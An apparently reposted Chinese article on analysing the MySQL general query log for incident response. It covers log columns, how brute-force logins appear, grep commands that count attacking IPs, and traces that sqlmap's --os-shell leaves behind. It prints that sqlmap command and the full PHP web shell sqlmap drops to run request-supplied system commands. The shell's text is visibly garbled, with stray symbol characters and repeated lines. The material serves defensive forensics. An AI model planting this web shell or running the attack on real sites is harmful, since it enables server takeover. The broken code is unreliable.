浅谈MySQL日志分析
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析，可以发现攻击行为，进一步还原攻击场景及追溯攻击源。
0x01 Mysql日志分析
general query log能记录成功连接和每次执行的查询，我们可以将它用作安全布防的一部分，为故障分析或黑客事件后的调查提供依据。
1、查看log配置信息 show variables like '%general%'; 2、开启日志 SET GLOBAL general_log = 'On'; 3、指定日志文件路径 #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
比如，当我访问 /test.php?id=1，此时我们得到这样的日志：
190604 14:46:14 14 Connect root@localhost on
14 Init DB test
14 Query SELECT * FROM admin WHERE id = 1
14 Quit `
我们按列来解析一下：
第一列:Time，时间列，前面一个是日期,后面一个是小时和分钟，有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
第二列:Id，就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
第三列:Command，操作类型，比如Connect就是连接数据库，Query就是查询数据库(增删查改都显示为查询)，可以特定过虑一些操作。
第四列:Argument，详细信息，例如 Connect root@localhost on 意思就是连接数据库，如此类推,接下面的连上数据库之后,做了什么查询的操作。
0x02 登录成功/失败
我们来做个简单的测试吧，使用我以前自己开发的弱口令工具来扫一下，字典设置比较小，2个用户，4个密码，共8组。
MySQL中的log记录是这样子：
Time Id Command Argument
190601 22:03:20 98 Connect root@192.168.204.1 on
98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
103 Connect mysql@192.168.204.1 on
103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
104 Connect mysql@192.168.204.1 on
104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Connect root@192.168.204.1 on
101 Connect root@192.168.204.1 on
101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
99 Connect root@192.168.204.1 on
99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES)
105 Connect mysql@192.168.204.1 on
105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Query set autocommit=0
102 Connect mysql@192.168.204.1 on
102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
100 Quit `你知道在这个口令猜解过程中，哪个是成功的吗？
利用爆破工具，一个口令猜解成功的记录是这样子的：
190601 22:03:20 100 Connect root@192.168.204.1 on
100 Query set autocommit=0
100 Quit但是，如果你是用其他方式，可能会有一点点不一样的哦。
Navicat for MySQL登录：
190601 22:14:07 106 Connect root@192.168.204.1 on
106 Query SET NAMES utf8
106 Query SHOW VARIABLES LIKE 'lower_case_%'
106 Query SHOW VARIABLES LIKE 'profiling'
106 Query SHOW DATABASES命令行登录：
190601 22:17:25 111 Connect root@localhost on
111 Query select @@version_comment limit 1
190601 22:17:56 111 Quit这个差别在于，不同的数据库连接工具，它在连接数据库初始化的过程中是不同的。通过这样的差别，我们可以简单判断出用户是通过连接数据库的方式。
另外，不管你是爆破工具、Navicat for MySQL、还是命令行，登录失败都是一样的记录。
登录失败的记录：
102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
利用shell命令进行简单的分析：
#有哪些IP在爆破？
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
27 192.168.204.1
#爆破用户名字典都有哪些？
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
13 mysql
12 root
1 root
1 mysql在日志分析中，特别需要注意一些敏感的操作行为，比如删表、备库，读写文件等。关键词：drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感数据库表：SELECT from mysql.user、SELECT from mysql.func
0x03 SQL注入入侵痕迹
在利用SQL注入漏洞的过程中，我们会尝试利用sqlmap的--os-shell参数取得shell，如操作不慎，可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理：
1、构造一个SQL注入点，开启Burp监听8080端口
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
HTTP通讯过程如下：
创建了一个临时文件tmpbwyov.php，通过访问这个木马执行系统命令，并返回到页面展示。
tmpbwyov.php：
<?php 𝑐 = 𝑐 = _REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
𝑧 = @𝑖𝑛𝑖𝑔𝑒𝑡(′𝑑𝑖𝑠𝑎𝑏𝑙𝑒𝑓𝑢𝑛𝑐𝑡𝑖𝑜𝑛𝑠′);
𝑖𝑓(!𝑒𝑚𝑝𝑡𝑦(𝑧 = @𝑖𝑛𝑖𝑔𝑒𝑡(′𝑑𝑖𝑠𝑎𝑏𝑙𝑒𝑓𝑢𝑛𝑐𝑡𝑖𝑜𝑛𝑠′);
𝑖𝑓(!𝑒𝑚𝑝𝑡𝑦(z)) {
𝑧 = 𝑝𝑟𝑒𝑔𝑟𝑒𝑝𝑙𝑎𝑐𝑒(′ / [, ] + /′, ′, ′, 𝑧 = 𝑝𝑟𝑒𝑔𝑟𝑒𝑝𝑙𝑎𝑐𝑒(′ / [, ] + /′, ′, ′, z);
𝑧 = 𝑒𝑥𝑝𝑙𝑜𝑑𝑒(′, ′, 𝑧 = 𝑒𝑥𝑝𝑙𝑜𝑑𝑒(′, ′, z);
𝑧 = 𝑎𝑟𝑟𝑎𝑦𝑚𝑎𝑝(′𝑡𝑟𝑖𝑚′, 𝑧 = 𝑎𝑟𝑟𝑎𝑦𝑚𝑎𝑝(′𝑡𝑟𝑖𝑚′, z);
} else {
z = array();
}
z = array();
}
c = c . " 2>&1\n";
function f(c . " 2>&1\n";
function f(n) {
global 𝑧;
𝑟𝑒𝑡𝑢𝑟𝑛𝑖𝑠𝑐𝑎𝑙𝑙𝑎𝑏𝑙𝑒(𝑧;
𝑟𝑒𝑡𝑢𝑟𝑛𝑖𝑠𝑐𝑎𝑙𝑙𝑎𝑏𝑙𝑒(n) and !in_array(𝑛, 𝑛, z);
}
if (f('system')) {
ob_start();
system(𝑐);
𝑐);
w = ob_get_contents();
ob_end_clean();
} elseif (f('proc_open')) {
𝑦 = 𝑝𝑟𝑜𝑐𝑜𝑝𝑒𝑛(𝑦 = 𝑝𝑟𝑜𝑐𝑜𝑝𝑒𝑛(c, array(array(pipe, r), array(pipe, w), array(pipe, w)), 𝑡);
𝑡);
w = NULL;
while (!feof(𝑡[1])) $𝑤.= 𝑓𝑟𝑒𝑎𝑑($𝑡[1], 512);
@𝑝𝑟𝑜𝑐𝑐𝑙𝑜𝑠𝑒(𝑡[1])) $𝑤 . = 𝑓𝑟𝑒𝑎𝑑($𝑡[1], 512);
@𝑝𝑟𝑜𝑐𝑐𝑙𝑜𝑠𝑒(y);
} elseif (f('shell_exec')) {
𝑤 = 𝑠ℎ𝑒𝑙𝑙𝑒𝑥𝑒𝑐(𝑤 = 𝑠ℎ𝑒𝑙𝑙𝑒𝑥𝑒𝑐(c);
} elseif (f('passthru')) {
ob_start();
passthru(𝑐);
𝑐);
w = ob_get_contents();
ob_end_clean();
} elseif (f('popen')) {
𝑥 = 𝑝𝑜𝑝𝑒𝑛(𝑥 = 𝑝𝑜𝑝𝑒𝑛(c, r);
𝑤 = 𝑁𝑈𝐿𝐿;
𝑖𝑓(𝑖𝑠𝑟𝑒𝑠𝑜𝑢𝑟𝑐𝑒(𝑤 = 𝑁𝑈𝐿𝐿;
𝑖𝑓(𝑖𝑠𝑟𝑒𝑠𝑜𝑢𝑟𝑐𝑒(x)) {
while (!feof(x)) {
$w.= fread($x, 512);
}
}
@pclose(x)) {
$w.= fread($x, 512);
}
}
@pclose(x);
} elseif (f('exec')) {
𝑤 = 𝑎𝑟𝑟𝑎𝑦();
𝑒𝑥𝑒𝑐(𝑤 = 𝑎𝑟𝑟𝑎𝑦();
𝑒𝑥𝑒𝑐(c, 𝑤);
𝑤);
w = join(chr(10), w) . chr(10);
} else {
w) . chr(10);
} else {
w = 0;
}
print "
" . $w . "
"; ?>`
创建了一个临时表sqlmapoutput，调用存储过程执行系统命令将数据写入临时表，然后取临时表中的数据展示到前端。
通过查看网站目录中最近新建的可疑文件，可以判断是否发生过sql注入漏洞攻击事件。
检查方法：
1、检查网站目录下，是否存在一些木马文件：
2、检查是否有UDF提权、MOF提权痕迹
检查目录是否有异常文件
mysql\lib\plugin
c:/windows/system32/wbem/mof/
检查函数是否删除
select * from mysql.func
3、结合web日志分析。
到此这篇关于浅谈MySQL日志分析的文章就介绍到这了,更多相关MySQL日志分析内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！
相关文章
MySQL主键默认是有索引的,在MySQL中,主键是用来唯一标识表中每一行数据的字段或字段组合,主键的作用是保证数据的唯一性,并且可以提高数据的查询效率,需要的朋友可以参考下2023-10-10
MySQL Left JOIN时指定NULL列返回特定值详解
我们有时会有这样的应用，需要在sql的left join时，需要使值为NULL的列不返回NULL而时某个特定的值，比如0。这个时候，用is_null(field,0)是行不通的，会报错的，可以用ifnull实现，但是COALESE似乎更符合标准2013-07-07
mysql自动停止 Plugin FEDERATED is disabled 的完美解决方法
今天在配置服务器的时候，发现mysql的一个错误提示在 本地计算机 无法启动 MySQL 服务。错误 1067: 进程意外终止，其实原因很多这个不是导致进程意外终止的最终原因，但可以解决2016-04-04
这篇文章主要介绍了21条MySQL优化建议,均来自个人的实战经验总结,需要的朋友可以参考下2014-07-07
这篇文章主要介绍了MySQL CHAR和VARCHAR存储的差别，帮助大家更好的理解和使用MySQL数据库，感兴趣的朋友可以了解下2020-11-11
这篇文章主要介绍了MySQL如何使用时间作为判断条件,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下2020-11-11
这篇文章主要为大家详细介绍了MYSQL中慢SQL形成的原因以及相关优化方法,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下2025-07-07
这篇文章主要介绍了Linux系统下MySQL的一些实用功能的shell脚本分享,包括启动Memcached、binlog自动清理和修复主从同步这样三个简单的实例,需要的朋友可以参考下2015-12-12
本文给大家介绍MySQL创建、删除索引的操作代码,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随小编一起看看吧2026-03-03
这篇文章主要介绍了MySQL两个表的亲密接触-连接查询的原理,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教2024-01-01
最新评论